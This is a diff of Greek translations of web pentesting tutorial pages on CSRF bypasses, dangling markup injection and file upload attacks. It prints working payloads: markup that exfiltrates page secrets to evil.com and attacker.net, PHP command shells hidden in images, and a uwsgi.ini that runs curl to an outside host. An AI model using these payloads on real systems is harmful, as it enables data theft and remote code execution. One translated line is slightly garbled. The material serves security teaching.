 - **Έλεγχος Κεφαλίδων Referrer ή Origin**: Η επικύρωση αυτών των κεφαλίδων μπορεί να βοηθήσει να διασφαλιστεί ότι τα αιτήματα προέρχονται από αξιόπιστες πηγές. Ωστόσο, η προσεκτική διαμόρφωση των URLs μπορεί να παρακάμψει κακώς υλοποιημένους ελέγχους, όπως:
@@ -43,7 +43,7 @@
 
 ### Έλλειψη token
 
-Οι εφαρμογές μπορεί να εφαρμόσουν έναν μηχανισμό για **επικύρωση tokens** όταν είναι παρόντα. Ωστόσο, μια ευπάθεια προκύπτει αν η επικύρωση παραλειφθεί εντελώς όταν το token είναι απών. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό αφαιρώντας την παράμετρο που φέρει το token, όχι μόνο την τιμή της. Αυτό τους επιτρέπει να παρακάμψουν τη διαδικασία επικύρωσης και να διεξάγουν μια επίθεση Cross-Site Request Forgery (CSRF) αποτελεσματικά.
+Οι εφαρμογές μπορεί να εφαρμόσουν έναν μηχανισμό για **επικύρωση tokens** όταν είναι παρόντα. Ωστόσο, μια ευπάθεια προκύπτει αν η επικύρωση παραλειφθεί εντελώς όταν το token είναι απών. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό αφαιρώντας την παράμετρο που φέρει το token, όχι μόνο την τιμή του. Αυτό τους επιτρέπει να παρακάμψουν τη διαδικασία επικύρωσης και να διεξάγουν μια επίθεση Διασταυρούμενης Αίτησης (CSRF) αποτελεσματικά.
 
 ### Το CSRF token δεν είναι συνδεδεμένο με τη συνεδρία του χρήστη
 
@@ -51,17 +51,17 @@
 
 Ακολουθεί πώς οι επιτιθέμενοι εκμεταλλεύονται αυτό:
 
-1. **Αυθεντικοποιούνται** χρησιμοποιώντας τον δικό τους λογαριασμό.
-2. **Αποκτούν ένα έγκυρο CSRF token** από την παγκόσμια δεξαμενή.
-3. **Χρησιμοποιούν αυτό το token** σε μια επίθεση CSRF κατά ενός θύματος.
+1. **Αυθεντικοποίηση** χρησιμοποιώντας τον δικό τους λογαριασμό.
+2. **Απόκτηση ενός έγκυρου CSRF token** από την παγκόσμια δεξαμενή.
+3. **Χρήση αυτού του token** σε μια επίθεση CSRF κατά ενός θύματος.
 
 Αυτή η ευπάθεια επιτρέπει στους επιτιθέμενους να κάνουν μη εξουσιοδοτημένα αιτήματα εκ μέρους του θύματος, εκμεταλλευόμενοι τον **ανεπαρκή μηχανισμό επικύρωσης token** της εφαρμογής.
 
 ### Παράκαμψη μεθόδου
 
-Αν το αίτημα χρησιμοποιεί μια "**παράξενη**" **μέθοδο**, ελέγξτε αν η **λειτουργία** **παράκαμψης μεθόδου** λειτουργεί. Για παράδειγμα, αν χρησιμοποιεί **μέθοδο PUT** μπορείτε να δοκιμάσετε να **χρησιμοποιήσετε μια μέθοδο POST** και να **στείλετε**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
+Αν το αίτημα χρησιμοποιεί μια "**παράξενη**" **μέθοδο**, ελέγξτε αν η **λειτουργία** **παράκαμψης μεθόδου** λειτουργεί. Για παράδειγμα, αν χρησιμοποιεί **μέθοδο PUT** μπορείτε να δοκιμάσετε να **χρησιμοποιήσετε μια μέθοδο POST** και **να στείλετε**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
 
-Αυτό μπορεί επίσης να λειτουργήσει στέλνοντας την **παράμετρο \_method μέσα σε ένα POST αίτημα** ή χρησιμοποιώντας τις **κεφαλίδες**:
+Αυτό μπορεί επίσης να λειτουργήσει στέλνοντας την **παράμετρο \_method μέσα σε ένα αίτημα POST** ή χρησιμοποιώντας τις **κεφαλίδες**:
 
 - _X-HTTP-Method_
 - _X-HTTP-Method-Override_
@@ -140,7 +140,7 @@ form.submit()
 
 1. **Χρήση Εναλλακτικών Τύπων Περιεχομένου**: Χρησιμοποιήστε `Content-Type: text/plain` ή `Content-Type: application/x-www-form-urlencoded` ορίζοντας `enctype="text/plain"` στη φόρμα. Αυτή η προσέγγιση δοκιμάζει αν το backend χρησιμοποιεί τα δεδομένα ανεξαρτήτως του Content-Type.
 2. **Τροποποίηση Τύπου Περιεχομένου**: Για να αποφύγετε ένα προετοιμασμένο αίτημα ενώ διασφαλίζετε ότι ο διακομιστής αναγνωρίζει το περιεχόμενο ως JSON, μπορείτε να στείλετε τα δεδομένα με `Content-Type: text/plain; application/json`. Αυτό δεν ενεργοποιεί ένα προετοιμασμένο αίτημα αλλά μπορεί να επεξεργαστεί σωστά από τον διακομιστή αν είναι ρυθμισμένος να αποδέχεται `application/json`.
-3. **Χρήση Αρχείου SWF Flash**: Μια λιγότερο κοινή αλλά εφικτή μέθοδος περιλαμβάνει τη χρήση ενός αρχείου SWF flash για να παρακαμφθούν τέτοιες περιοριστικές καταστάσεις. Για μια σε βάθος κατανόηση αυτής της τεχνικής, ανατρέξτε σε [αυτή την ανάρτηση](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
+3. **Χρήση Αρχείου SWF Flash**: Μια λιγότερο κοινή αλλά εφικτή μέθοδος περιλαμβάνει τη χρήση ενός αρχείου SWF flash για να παρακαμφθούν τέτοιες περιορισμοί. Για μια σε βάθος κατανόηση αυτής της τεχνικής, ανατρέξτε σε [αυτή την ανάρτηση](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
 
 ### Παράκαμψη Ελέγχου Referrer / Origin
 
@@ -150,7 +150,7 @@ form.submit()
 ```xml
 <meta name="referrer" content="never">
 ```
-Αυτό διασφαλίζει ότι η κεφαλίδα 'Referer' παραλείπεται, ενδεχομένως παρακάμπτοντας τους ελέγχους επικύρωσης σε ορισμένες εφαρμογές.
+Αυτό διασφαλίζει ότι η κεφαλίδα 'Referer' παραλείπεται, ενδεχομένως παρακάμπτοντας ελέγχους επικύρωσης σε ορισμένες εφαρμογές.
 
 **Παρακάμψεις Regexp**
 
@@ -197,7 +197,7 @@ document.forms[0].submit()
 
 ### **Exfiltrating CSRF Token**
 
-Αν χρησιμοποιείται ένα **CSRF token** ως **άμυνα**, μπορείτε να προσπαθήσετε να **εξάγετε το** εκμεταλλευόμενοι μια [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) ευπάθεια ή μια [**Dangling Markup**](dangling-markup-html-scriptless-injection/) ευπάθεια.
+Αν χρησιμοποιείται ένα **CSRF token** ως **άμυνα**, μπορείτε να προσπαθήσετε να **εξάγετε το** εκμεταλλευόμενοι μια [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) ευπάθεια ή μια [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) ευπάθεια.
 
 ### **GET using HTML tags**
 ```xml

src/pentesting-web/dangling-markup-html-scriptless-injection/README.md

@@ -4,16 +4,16 @@
 
 ## Resume
 
-Αυτή η τεχνική μπορεί να χρησιμοποιηθεί για να εξάγει πληροφορίες από έναν χρήστη όταν **βρεθεί μια HTML injection**. Αυτό είναι πολύ χρήσιμο αν **δεν βρείτε κανέναν τρόπο να εκμεταλλευτείτε ένα** [**XSS** ](../xss-cross-site-scripting/) αλλά μπορείτε να **εισάγετε κάποιες HTML ετικέτες**.\
-Είναι επίσης χρήσιμο αν κάποιο **μυστικό αποθηκεύεται σε καθαρό κείμενο** στην HTML και θέλετε να **εξάγετε** αυτό από τον πελάτη, ή αν θέλετε να παραπλανήσετε κάποια εκτέλεση σεναρίου.
+Αυτή η τεχνική μπορεί να χρησιμοποιηθεί για να εξάγει πληροφορίες από έναν χρήστη όταν βρεθεί μια **HTML injection**. Αυτό είναι πολύ χρήσιμο αν **δεν βρείτε κανέναν τρόπο να εκμεταλλευτείτε ένα** [**XSS** ](../xss-cross-site-scripting/index.html) αλλά μπορείτε να **εισάγετε μερικές HTML ετικέτες**.\
+Είναι επίσης χρήσιμο αν κάποιο **μυστικό είναι αποθηκευμένο σε καθαρό κείμενο** στο HTML και θέλετε να **εξάγετε** αυτό από τον πελάτη, ή αν θέλετε να παραπλανήσετε κάποια εκτέλεση σεναρίου.
 
-Διάφορες τεχνικές που αναφέρονται εδώ μπορούν να χρησιμοποιηθούν για να παρακάμψουν κάποια [**Content Security Policy**](../content-security-policy-csp-bypass/) εξάγοντας πληροφορίες με απροσδόκητους τρόπους (html ετικέτες, CSS, http-meta ετικέτες, φόρμες, base...).
+Διάφορες τεχνικές που σχολιάζονται εδώ μπορούν να χρησιμοποιηθούν για να παρακάμψουν κάποια [**Content Security Policy**](../content-security-policy-csp-bypass/index.html) εξάγοντας πληροφορίες με απροσδόκητους τρόπους (html ετικέτες, CSS, http-meta ετικέτες, φόρμες, base...).
 
 ## Main Applications
 
 ### Stealing clear text secrets
 
-Αν εισάγετε `<img src='http://evil.com/log.cgi?` όταν φορτώνεται η σελίδα, το θύμα θα σας στείλει όλο τον κώδικα μεταξύ της εισαγόμενης ετικέτας `img` και του επόμενου αποσπάσματος μέσα στον κώδικα. Αν κάποιο μυστικό βρίσκεται κάπως σε αυτό το κομμάτι, θα το κλέψετε (μπορείτε να κάνετε το ίδιο πράγμα χρησιμοποιώντας ένα διπλό απόσπασμα, ρίξτε μια ματιά σε ποιο θα ήταν πιο ενδιαφέρον να χρησιμοποιήσετε).
+Αν εισάγετε `<img src='http://evil.com/log.cgi?` όταν φορτώνεται η σελίδα, το θύμα θα σας στείλει όλο τον κώδικα μεταξύ της εισαχθείσας ετικέτας `img` και της επόμενης απόστροφου μέσα στον κώδικα. Αν κάποιο μυστικό βρίσκεται κάπως σε αυτό το κομμάτι, θα το κλέψετε (μπορείτε να κάνετε το ίδιο πράγμα χρησιμοποιώντας μια διπλή απόστροφο, ρίξτε μια ματιά σε ποιο θα ήταν πιο ενδιαφέρον να χρησιμοποιήσετε).
 
 Αν η ετικέτα `img` είναι απαγορευμένη (λόγω CSP για παράδειγμα) μπορείτε επίσης να χρησιμοποιήσετε `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
 ```html
@@ -21,7 +21,7 @@
 <meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
 <meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
 ```
-Σημειώστε ότι το **Chrome μπλοκάρει τα HTTP URLs** που περιέχουν "<" ή "\n", οπότε μπορείτε να δοκιμάσετε άλλες πρωτοκόλλες όπως το "ftp".
+Σημειώστε ότι το **Chrome μπλοκάρει τα HTTP URLs** με "<" ή "\n" σε αυτά, οπότε μπορείτε να δοκιμάσετε άλλες πρωτοκόλλες όπως το "ftp".
 
 Μπορείτε επίσης να εκμεταλλευτείτε το CSS `@import` (θα στείλει όλο τον κώδικα μέχρι να βρει ένα ";")
 ```html
@@ -32,7 +32,7 @@
 ```html
 <table background='//your-collaborator-id.burpcollaborator.net?'
 ```
-Μπορείτε επίσης να εισάγετε μια `<base>` ετικέτα. Όλες οι πληροφορίες θα αποσταλούν μέχρι να κλείσει το απόσπασμα, αλλά απαιτεί κάποια αλληλεπίδραση από τον χρήστη (ο χρήστης πρέπει να κάνει κλικ σε κάποιον σύνδεσμο, επειδή η ετικέτα base θα έχει αλλάξει το τομέα που υποδεικνύει ο σύνδεσμος):
+Μπορείτε επίσης να εισάγετε μια `<base` ετικέτα. Όλες οι πληροφορίες θα αποσταλούν μέχρι να κλείσει η παράθεση, αλλά απαιτεί κάποια αλληλεπίδραση από τον χρήστη (ο χρήστης πρέπει να κάνει κλικ σε κάποιον σύνδεσμο, επειδή η ετικέτα base θα έχει αλλάξει το τομέα που υποδεικνύει ο σύνδεσμος):
 ```html
 <base target='        <--- Injected
 steal me'<b>test</b>
@@ -41,7 +41,7 @@ steal me'<b>test</b>
 ```html
 <base href="http://evil.com/" />
 ```
-Τότε, οι φόρμες που στέλνουν δεδομένα σε διαδρομή (όπως `<form action='update_profile.php'>`) θα στείλουν τα δεδομένα στο κακόβουλο domain.
+Στη συνέχεια, οι φόρμες που στέλνουν δεδομένα σε διαδρομή (όπως `<form action='update_profile.php'>`) θα στείλουν τα δεδομένα στο κακόβουλο domain.
 
 ### Stealing forms 2
 
@@ -88,7 +88,7 @@ I get consumed!
 ```
 ### Κλοπή μυστικών σε καθαρό κείμενο μέσω noscript
 
-`<noscript></noscript>` Είναι μια ετικέτα του οποίου το περιεχόμενο θα ερμηνευθεί αν ο περιηγητής δεν υποστηρίζει το javascript (μπορείτε να ενεργοποιήσετε/απενεργοποιήσετε το Javascript στο Chrome στη διεύθυνση [chrome://settings/content/javascript](chrome://settings/content/javascript)).
+`<noscript></noscript>` Είναι μια ετικέτα του οποίου το περιεχόμενο θα ερμηνευτεί αν ο περιηγητής δεν υποστηρίζει javascript (μπορείτε να ενεργοποιήσετε/απενεργοποιήσετε την Javascript στο Chrome στο [chrome://settings/content/javascript](chrome://settings/content/javascript)).
 
 Ένας τρόπος για να εξάγετε το περιεχόμενο της ιστοσελίδας από το σημείο της ένεσης μέχρι το κάτω μέρος σε μια ιστοσελίδα που ελέγχεται από τον επιτιθέμενο θα είναι η ένεση αυτού:
 ```html
@@ -96,12 +96,12 @@ I get consumed!
 ```
 ### Bypassing CSP with user interaction
 
-Από αυτήν την [έρευνα των portswiggers](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) μπορείτε να μάθετε ότι ακόμη και από τα **πιο περιορισμένα** περιβάλλοντα CSP μπορείτε να **εξάγετε δεδομένα** με κάποια **αλληλεπίδραση χρήστη**. Σε αυτήν την περίπτωση θα χρησιμοποιήσουμε το payload:
+Από αυτήν την [έρευνα της portswiggers](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) μπορείτε να μάθετε ότι ακόμη και από τα **πιο περιορισμένα** περιβάλλοντα CSP μπορείτε να **εξάγετε δεδομένα** με κάποια **αλληλεπίδραση χρήστη**. Σε αυτήν την περίπτωση θα χρησιμοποιήσουμε το payload:
 ```html
 <a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
 <base target='
 ```
-Σημειώστε ότι θα ζητήσετε από το **θύμα** να **κλικάρει σε έναν σύνδεσμο** που θα **ανακατευθύνει** αυτόν σε **payload** που ελέγχετε εσείς. Επίσης, σημειώστε ότι το **`target`** χαρακτηριστικό μέσα στην **`base`** ετικέτα θα περιέχει **HTML περιεχόμενο** μέχρι το επόμενο μονό απόσπασμα.\
+Σημειώστε ότι θα ζητήσετε από το **θύμα** να **κλικάρει σε έναν σύνδεσμο** που θα **ανακατευθύνει** αυτόν σε **payload** που ελέγχετε εσείς. Επίσης, σημειώστε ότι το **`target`** χαρακτηριστικό μέσα στην **`base`** ετικέτα θα περιέχει **HTML περιεχόμενο** μέχρι το επόμενο μονό απόσ quotation.\
 Αυτό θα κάνει ώστε η **τιμή** του **`window.name`** αν κλικάρετε τον σύνδεσμο να είναι όλο αυτό το **HTML περιεχόμενο**. Επομένως, καθώς **ελέγχετε τη σελίδα** στην οποία το θύμα έχει πρόσβαση κάνοντας κλικ στον σύνδεσμο, μπορείτε να αποκτήσετε πρόσβαση σε αυτό το **`window.name`** και να **exfiltrate** αυτά τα δεδομένα:
 ```html
 <script>
@@ -122,7 +122,7 @@ document.getElementById('share_with').value; ... }
 ```
 ### Misleading script workflow 2 - Script namespace attack
 
-Δημιουργήστε μεταβλητές μέσα σε javascript namespace εισάγοντας HTML tags. Στη συνέχεια, αυτή η μεταβλητή θα επηρεάσει τη ροή της εφαρμογής:
+Δημιουργήστε μεταβλητές μέσα στο javascript namespace εισάγοντας HTML tags. Στη συνέχεια, αυτή η μεταβλητή θα επηρεάσει τη ροή της εφαρμογής:
 ```html
 <img id="is_public" /> ← Injected markup ... // Legitimate application code
 follows function retrieve_acls() { ... if (response.access_mode == AM_PUBLIC) ←
@@ -197,7 +197,7 @@ onload="cspBypass(this.contentWindow)"></iframe>
 
 ## SS-Leaks
 
-Αυτή είναι μια **μείξη** μεταξύ **dangling markup και XS-Leaks**. Από τη μία πλευρά, η ευπάθεια επιτρέπει να **εισαχθεί HTML** (αλλά όχι JS) σε μια σελίδα της **ίδιας προέλευσης** με αυτήν που θα επιτεθούμε. Από την άλλη πλευρά, δεν θα **επιτεθούμε** άμεσα στη σελίδα όπου μπορούμε να εισάγουμε HTML, αλλά σε **μια άλλη σελίδα**.
+Αυτή είναι μια **μείξη** μεταξύ **dangling markup και XS-Leaks**. Από τη μία πλευρά, η ευπάθεια επιτρέπει να **εισαχθεί HTML** (αλλά όχι JS) σε μια σελίδα της **ίδιας προέλευσης** με αυτήν που θα επιτεθούμε. Από την άλλη πλευρά, δεν θα **επιτεθούμε** άμεσα στη σελίδα όπου μπορούμε να εισάγουμε HTML, αλλά σε **άλλη σελίδα**.
 
 {{#ref}}
 ss-leaks.md

src/pentesting-web/file-upload/README.md

@@ -17,7 +17,7 @@
 
 ### Bypass file extensions checks
 
-1. Αν ισχύουν, **έλεγξε** τις **προηγούμενες επεκτάσεις.** Δοκίμασε επίσης να τις χρησιμοποιήσεις με **κεφαλαία γράμματα**: _pHp, .pHP5, .PhAr ..._
+1. Αν ισχύουν, **έλεγξε** τις **προηγούμενες επεκτάσεις.** Δοκίμασέ τις επίσης χρησιμοποιώντας μερικά **κεφαλαία γράμματα**: _pHp, .pHP5, .PhAr ..._
 2. _Έλεγξε **προσθέτοντας μια έγκυρη επέκταση πριν** από την εκτελέσιμη επέκταση (χρησιμοποίησε και τις προηγούμενες επεκτάσεις):_
 - _file.png.php_
 - _file.png.Php5_
@@ -43,7 +43,7 @@
 5. Πρόσθεσε **άλλη μια στρώση επεκτάσεων** στον προηγούμενο έλεγχο:
 - _file.png.jpg.php_
 - _file.php%00.png%00.jpg_
-6. Δοκίμασε να βάλεις την **εκτελέσιμη επέκταση πριν από την έγκυρη επέκταση** και προσευχήσου ώστε ο διακομιστής να είναι κακορυθμισμένος. (χρήσιμο για να εκμεταλλευτείς κακορυθμίσεις του Apache όπου οτιδήποτε με επέκταση **.php** θα εκτελεί κώδικα):
+6. Δοκίμασε να βάλεις την **εκτελέσιμη επέκταση πριν από την έγκυρη επέκταση** και προσευχήσου ώστε ο διακομιστής να είναι κακορυθμισμένος. (χρήσιμο για να εκμεταλλευτείς κακορυθμίσεις του Apache όπου οτιδήποτε με επέκταση **_**.php**_**, αλλά** όχι απαραίτητα που να τελειώνει σε .php** θα εκτελεί κώδικα):
 - _ex: file.php.png_
 7. Χρησιμοποιώντας **NTFS alternate data stream (ADS)** σε **Windows**. Σε αυτή την περίπτωση, ένας χαρακτήρας άνω των δύο “:” θα εισαχθεί μετά από μια απαγορευμένη επέκταση και πριν από μια επιτρεπόμενη. Ως αποτέλεσμα, ένα **κενό αρχείο με την απαγορευμένη επέκταση** θα δημιουργηθεί στον διακομιστή (π.χ. “file.asax:.jpg”). Αυτό το αρχείο μπορεί να επεξεργαστεί αργότερα χρησιμοποιώντας άλλες τεχνικές όπως η χρήση του σύντομου ονόματος του. Το μοτίβο “**::$data**” μπορεί επίσης να χρησιμοποιηθεί για να δημιουργήσει μη κενά αρχεία. Επομένως, η προσθήκη ενός χαρακτήρα τελείας μετά από αυτό το μοτίβο μπορεί επίσης να είναι χρήσιμη για να παρακάμψεις περαιτέρω περιορισμούς (.π.χ. “file.asp::$data.”)
 8. Δοκίμασε να σπάσεις τα όρια του ονόματος αρχείου. Η έγκυρη επέκταση κόβεται. Και το κακόβουλο PHP μένει. AAA<--SNIP-->AAA.php
@@ -67,11 +67,11 @@ AAA<--SNIP 232 A-->AAA.php.png
 `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
 `\` ή μπορείς επίσης να **εισάγεις το payload απευθείας** σε μια εικόνα:\
 `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
-- Αν **συμπίεση προστίθεται στην εικόνα σου**, για παράδειγμα χρησιμοποιώντας κάποιες τυπικές βιβλιοθήκες PHP όπως [PHP-GD](https://www.php.net/manual/fr/book.image.php), οι προηγούμενες τεχνικές δεν θα είναι χρήσιμες. Ωστόσο, μπορείς να χρησιμοποιήσεις την **τεχνική PLTE chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγεις κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**.
+- Αν **συμπίεση προστίθεται στην εικόνα σου**, για παράδειγμα χρησιμοποιώντας κάποιες τυπικές βιβλιοθήκες PHP όπως [PHP-GD](https://www.php.net/manual/fr/book.image.php), οι προηγούμενες τεχνικές δεν θα είναι χρήσιμες. Ωστόσο, μπορείς να χρησιμοποιήσεις την **PLTE chunk** [**τεχνική που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγεις κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**.
 - [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
-- Η ιστοσελίδα μπορεί επίσης να **αλλάζει το μέγεθος** της **εικόνας**, χρησιμοποιώντας για παράδειγμα τις συναρτήσεις PHP-GD `imagecopyresized` ή `imagecopyresampled`. Ωστόσο, μπορείς να χρησιμοποιήσεις την **τεχνική IDAT chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγεις κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**.
+- Η ιστοσελίδα μπορεί επίσης να **αλλάζει το μέγεθος** της **εικόνας**, χρησιμοποιώντας για παράδειγμα τις συναρτήσεις PHP-GD `imagecopyresized` ή `imagecopyresampled`. Ωστόσο, μπορείς να χρησιμοποιήσεις την **IDAT chunk** [**τεχνική που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγεις κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**.
 - [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
-- Μια άλλη τεχνική για να δημιουργήσεις ένα payload που **επιβιώνει σε αλλαγές μεγέθους εικόνας**, χρησιμοποιώντας τη συνάρτηση PHP-GD `thumbnailImage`. Ωστόσο, μπορείς να χρησιμοποιήσεις την **τεχνική tEXt chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγεις κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**.
+- Μια άλλη τεχνική για να δημιουργήσεις ένα payload που **επιβιώνει σε αλλαγές μεγέθους εικόνας**, χρησιμοποιώντας τη συνάρτηση PHP-GD `thumbnailImage`. Ωστόσο, μπορείς να χρησιμοποιήσεις την **tEXt chunk** [**τεχνική που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγεις κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**.
 - [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
 
 ### Other Tricks to check
@@ -98,15 +98,15 @@ AAA<--SNIP 232 A-->AAA.php.png
 
 ## **Jetty RCE**
 
-Αν μπορείς να ανεβάσεις ένα XML αρχείο σε έναν διακομιστή Jetty μπορείς να αποκτήσεις [RCE επειδή **νέα \*.xml και \*.war επεξεργάζονται αυτόματα**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Έτσι, όπως αναφέρεται στην παρακάτω εικόνα, ανέβασε το XML αρχείο στο `$JETTY_BASE/webapps/` και περίμενε το shell!
+Αν μπορείς να ανεβάσεις ένα αρχείο XML σε έναν διακομιστή Jetty μπορείς να αποκτήσεις [RCE επειδή **νέα \*.xml και \*.war επεξεργάζονται αυτόματα**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Έτσι, όπως αναφέρεται στην παρακάτω εικόνα, ανέβασε το αρχείο XML στο `$JETTY_BASE/webapps/` και περίμενε το shell!
 
 ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
 
 ## **uWSGI RCE**
 
-Για μια λεπτομερή εξερεύνηση αυτής της ευπάθειας δες την αρχική έρευνα: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
+Για μια λεπτομερή εξερεύνηση αυτής της ευπάθειας, έλεγξε την αρχική έρευνα: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
 
-Οι ευπάθειες Remote Command Execution (RCE) μπορούν να εκμεταλλευτούν σε διακομιστές uWSGI αν κάποιος έχει τη δυνατότητα να τροποποιήσει το αρχείο ρύθμισης `.ini`. Τα αρχεία ρύθμισης uWSGI εκμεταλλεύονται μια συγκεκριμένη σύνταξη για να ενσωματώσουν "μαγικές" μεταβλητές, placeholders και τελεστές. Ιδιαίτερα, ο τελεστής '@', που χρησιμοποιείται ως `@(filename)`, έχει σχεδιαστεί για να περιλαμβάνει το περιεχόμενο ενός αρχείου. Μεταξύ των διαφόρων υποστηριζόμενων σχημάτων στο uWSGI, το "exec" σχήμα είναι ιδιαίτερα ισχυρό, επιτρέποντας την ανάγνωση δεδομένων από την τυπική έξοδο μιας διαδικασίας. Αυτή η δυνατότητα μπορεί να χειραγωγηθεί για κακόβουλους σκοπούς όπως Remote Command Execution ή Arbitrary File Write/Read όταν ένα αρχείο ρύθμισης `.ini` επεξεργάζεται.
+Οι ευπάθειες Remote Command Execution (RCE) μπορούν να εκμεταλλευτούν σε διακομιστές uWSGI αν κάποιος έχει τη δυνατότητα να τροποποιήσει το αρχείο ρύθμισης `.ini`. Τα αρχεία ρύθμισης uWSGI εκμεταλλεύονται μια συγκεκριμένη σύνταξη για να ενσωματώσουν "μαγικές" μεταβλητές, placeholders και τελεστές. Ιδιαίτερα, ο τελεστής '@', που χρησιμοποιείται ως `@(filename)`, έχει σχεδιαστεί για να περιλαμβάνει το περιεχόμενο ενός αρχείου. Μεταξύ των διαφόρων υποστηριζόμενων σχημάτων στο uWSGI, το "exec" σχήμα είναι ιδιαίτερα ισχυρό, επιτρέποντας την ανάγνωση δεδομένων από την τυπική έξοδο μιας διαδικασίας. Αυτή η δυνατότητα μπορεί να χειραγωγηθεί για κακόβουλους σκοπούς όπως Remote Command Execution ή Arbitrary File Write/Read όταν ένα αρχείο ρύθμισης `.ini` επεξεργάζεται. 
 
 Σκέψου το παρακάτω παράδειγμα ενός κακόβουλου αρχείου `uwsgi.ini`, που παρουσιάζει διάφορα σχήματα:
 ```ini
@@ -126,7 +126,7 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
 ; call a function returning a char *
 characters = @(call://uwsgi_func)
 ```
-Η εκτέλεση του payload συμβαίνει κατά την ανάλυση του αρχείου ρυθμίσεων. Για να ενεργοποιηθεί και να αναλυθεί η ρύθμιση, η διαδικασία uWSGI πρέπει είτε να επανεκκινηθεί (πιθανώς μετά από μια κατάρρευση ή λόγω επίθεσης Άρνησης Υπηρεσίας) είτε το αρχείο να ρυθμιστεί για αυτόματη επαναφόρτωση. Η δυνατότητα αυτόματης επαναφόρτωσης, αν είναι ενεργοποιημένη, επαναφορτώνει το αρχείο σε καθορισμένα διαστήματα μόλις ανιχνεύσει αλλαγές.
+Η εκτέλεση του payload συμβαίνει κατά την ανάλυση του αρχείου ρυθμίσεων. Για να ενεργοποιηθεί και να αναλυθεί η ρύθμιση, η διαδικασία uWSGI πρέπει είτε να επανεκκινηθεί (πιθανώς μετά από μια κατάρρευση ή λόγω επίθεσης Άρνησης Υπηρεσίας) είτε το αρχείο να ρυθμιστεί για αυτόματη επαναφόρτωση. Η δυνατότητα αυτόματης επαναφόρτωσης, αν είναι ενεργοποιημένη, επαναφορτώνει το αρχείο σε καθορισμένα διαστήματα μόλις ανιχνευθούν αλλαγές.
 
 Είναι κρίσιμο να κατανοήσουμε τη χαλαρή φύση της ανάλυσης του αρχείου ρυθμίσεων του uWSGI. Συγκεκριμένα, το συζητηθέν payload μπορεί να εισαχθεί σε ένα δυαδικό αρχείο (όπως μια εικόνα ή PDF), διευρύνοντας περαιτέρω το πεδίο της πιθανής εκμετάλλευσης.
 
@@ -156,7 +156,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
 
 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
 ```
-Σημειώστε ότι **μία άλλη επιλογή** που μπορεί να σκέφτεστε για να παρακάμψετε αυτόν τον έλεγχο είναι να κάνετε τον **HTTP server να ανακατευθύνει σε ένα διαφορετικό αρχείο**, έτσι ώστε η αρχική διεύθυνση URL να παρακάμψει τον έλεγχο και στη συνέχεια το wget να κατεβάσει το ανακατευθυνόμενο αρχείο με το νέο όνομα. Αυτό **δεν θα λειτουργήσει** **εκτός αν** το wget χρησιμοποιείται με την **παράμετρο** `--trust-server-names` επειδή **το wget θα κατεβάσει τη σελίδα ανακατεύθυνσης με το όνομα του αρχείου που υποδεικνύεται στην αρχική διεύθυνση URL**.
